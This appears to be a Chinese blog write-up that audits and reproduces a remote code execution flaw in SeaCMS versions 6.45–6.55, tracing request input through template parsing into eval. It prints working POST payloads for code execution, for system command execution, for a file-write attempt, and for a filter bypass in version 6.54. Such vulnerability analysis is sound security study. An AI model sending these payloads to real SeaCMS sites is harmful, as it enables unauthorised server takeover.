海洋SeaCMS V6.45-6.55前台Getshell 分析复现

文章目录

  • 海洋SeaCMS V6.45-6.55前台Getshell 分析复现
    • 6.4x 版本
      • 下载链接:
      • 环境搭建
      • 开始审计
        • 正向分析部分:
        • 逆向分析部分
        • 构造payload
        • 开始复现
          • 代码执行:
          • 命令执行:
          • 写入文件:
    • 6.54 版本
      • 下载链接:
      • 环境搭建:
      • 开始审计:
        • 漏洞复现:
          • 代码执行:
          • 命令执行:
    • 6.55没找到下载,告辞

海洋SeaCMS V6.45-6.55前台Getshell 分析复现

这次洞主要分为两部分版本,先是6.4x 版本的,6.54/6.55 主要是6.4x修复不完善,导致的再一次被利用。

6.4x 版本

下载链接:

链接:https://pan.baidu.com/s/1TLsATrDtZT_SxYRMMK1sRg 
提取码:khhk

环境搭建

1.搭建环境的时候,发现端口老是被占用,netstat -ano | findstr "80"看了一下,对应进程id,查看进程发现了几个officeNginx.exe,结束进程之后马上又会开= =

win+R打开services.msc,发现了上次复现的通达OA环境…tm的自动。
在这里插入图片描述
再看一遍,好了,r了g了。
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第1张图片

2.搭建好之后,首页啥都没有,进后台看看:http://www.seacms1.com:8885/admin/

3.发现网站是搭建好的,直接上手输入payload看环境是不是好的:

http://www.seacms1.com/search.php

POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

发现爆500错误= =我用的环境是php7.3.4,安装说明里是写的这个环境可以的。
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第2张图片
我换成了5.2.17,可以了。
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第3张图片

开始审计

正向分析部分:

1.根据payload,先看search.php。search.php的开头包含了两个文件,我们的参数就是通过common.php传入的,主要是看怎么传入的,有没有经过过滤什么的:
在这里插入图片描述
2.在common.php的45行看到了这段,那就是相当于request获取,我们怎么传都可以了,我们上面的payload是通过post传的,我们试试get应该也是可以的。
在这里插入图片描述
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第4张图片

3.我们之前在post数据里,有个searchtype=5,我们就全文搜索一下,发现除了初始化,其他的都在echoSearchPage()函数里面:
在这里插入图片描述
在这里插入图片描述

4.函数的开头,定义了一些全局变量,方便赋值,并且初始化了order变量(order也是我们payload里面的)。
在这里插入图片描述
5.函数里有三处判断了searchtype==5的地方:

第一处就是一些初始化:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第5张图片
第二处没有涉及到我们的payload,就不管了,有点多:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第6张图片
第三处也是一些赋值操作:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第7张图片
6.然后我们的$order参数被赋给了$orderStr参数,又赋给了$cacheName参数:
在这里插入图片描述
7.然后在下面调用了getFileCache函数:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第8张图片
8.跟进一下,函数在search.php下,输出一下,看一下参数值:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第9张图片
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第10张图片
我们注意到,在这个里面有个特别的文件,它的名字是这样子的:
在这里插入图片描述
那不就是我们payload中的这一块吗:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第11张图片

9.在后面它对$content做了好多的操作,然后会调用parseIf这个函数,并且传入了$content变量:
在这里插入图片描述

10.我们输出一下$content的值:
在这里插入图片描述
然后刷新网页,F12,搜一下phpinfo,发现是在这一块导致的:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第12张图片

逆向分析部分

1.在main.class.php里面,第3098行实现parseIf函数:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第13张图片

2.我们在函数里面很多处都能看到敏感函数eval:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第14张图片

3.因为下面很多处eval函数,我加了5个echo,根据输出判断到底执行了哪个eval,最后发现:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第15张图片
在这里插入图片描述
输出的是“1111”,这样子的话,分析流程又清晰简单了一些。

4.找到漏洞触发点,这一句带进去了$strIf变量:
在这里插入图片描述

5.我们输出看一下传入的$strIf是什么样的,在最后 1)phpinfo();if(1 :
在这里插入图片描述

正好是我们payload里的这一块:
在这里插入图片描述

6.上面的$strIf变量是通过$iar数组获得的,并且经过了parseStrIf函数:
在这里插入图片描述
7.跟进parseStrIf函数,还是在该文件下:如果没有“=”就直接返回,有“=”但是没有“==”就把其中的“=”替换为“==”,然后用explode函数,根据“==”对它分割,然后把数组的第0项和第1项拼接起来。
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第16张图片
8.回到parseIf函数,然后$iar数组是通过正则匹配$content出来的:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第17张图片
9.调用了个buildregx函数,看一下,就是转义其中 / 字符串然后拼接的意思,
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第18张图片
10.继续往上,先判断content里面有没有 “{if:” 字符串,没有就直接返回content;
在这里插入图片描述

11.好的,前后都对应起来了,数据流大概是这样子:

$search.php ==》 $common.php赋值 ==》 $orderStr ==》 $cacheName ==》 search.php的getFileCache() ==》 $content(一系列操作)  ==》 $main.class.php的parseIf() ==》 $iar ==》 $strIf ==eval()

12.最后在eval里面拼接起来就是:

eval("if(1)phpinfo();if(1){\\$ifFlag=true;}else{\\$ifFlag=false;}");

构造payload

1.分析这样构造payload的原因:

在search.php文件里,这里输出一下:
在这里插入图片描述
在这里也输出一下:
在这里插入图片描述
2.我们从上面的源代码中可以看到,替换$content中的{searchpage:ordername}为$order,从输出结果中对比:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第19张图片
而$order的值是:
在这里插入图片描述
替换后变成了:
在这里插入图片描述
3.中间的替换内容实际上是:(在网页中显示的有点怪)

}{end if} {if:1)phpinfo();if(1}{end if}

这里的 }{end if} 是为了闭合前面的一部分;
{if:1)phpinfo();if(1}{end if} 是我们自己控制的一部分,可以看到这一段的“{}”符号也是正确闭合的;
带有“()”那一部分,1)phpinfo();if(1,你可以当做参数看,暂时怎么写无所谓;
后面的一部分“{}”符号闭不闭合都无所谓。

4.然后在上面说过,最后1)phpinfo();if(1 拼接到 eval里面会变成这样:

eval("if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}");

开始复现

代码执行:
http://www.seacms.com:8885/search.php

post数据:
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第20张图片
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第21张图片

命令执行:
http://www.seacms1.com:8885/search.php

post数据:
searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);//}{end if}&func=system&cmd=dir

(加//是注释掉后面的内容)
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第22张图片

写入文件:
searchtype=5&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'success!')

一直500错误,没有禁用函数,权限也够:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第23张图片
原因是我们可爱的360safe文件,我也不知道别人的分析文章怎么成功的,明明单引号双引号都被转义了。(我下的6.54版本的就没有360safe文件?)
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第24张图片
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第25张图片

6.54 版本

下载链接:

链接:https://pan.baidu.com/s/1btlHIS4YrSjZ2MhfIjXD-g 
提取码:9jet

环境搭建:

傻瓜式安装完之后,先试试能不能成功验证漏洞:(我找到的这个版本就没有360safe文件,不清楚为啥)

http://www.seacms2.com/search.php

POST: 
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第26张图片

开始审计:

1.直接看search.php,发现增加了这两行:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第27张图片
2.先用stripslashes函数去除反斜杠,然后调用了RemoveXSS函数,1657行:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第28张图片
3.然后调用自定义的cn_substr函数,common.fun.php的第124行:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第29张图片
4.然后调用了addslashes函数,这么多过滤啥的,头大,我们输出看看,之前的payload被过滤成了什么样:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第30张图片
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第31张图片
5.我们用新的payload试试,在eval函数前面进行输出:
在这里插入图片描述
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第32张图片
6.根据payload,可以猜测,应该和6.4*版本一样,也是利用str_replace函数进行替换,不过这次经过了多次替换拼接而成。
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第33张图片

7.还是相同的位置,输出一下,在页面源代码里搜索一下,发现了很多处:
在这里插入图片描述
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第34张图片

8.输出一下iar数组:
海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第35张图片
在这里插入图片描述

具体怎么拼接的我真的看不动了,分析一天+健身,两眼昏花的。

漏洞复现:

代码执行:
www.seacms2.com:8886/search.php

post数据:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第36张图片

命令执行:
www.seacms2.com:8886/search.php

post数据:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=system&9[]=('dir');

海洋SeaCMS V6.45-6.55前台Getshell 分析复现_第37张图片

6.55没找到下载,告辞



总结:这次涉及到的文件不是很多,函数也不多,但是调用拼接链是真的复杂。主要是这几天和兄弟们出去玩,学习有些浮躁了,昨天凌晨才回来,搞不进去别的,需要深度学一天沉浸一下。不过我还想出去浪一浪,hhh。

你可能感兴趣的:(漏洞分析复现,代码审计,web,安全,php,漏洞复现)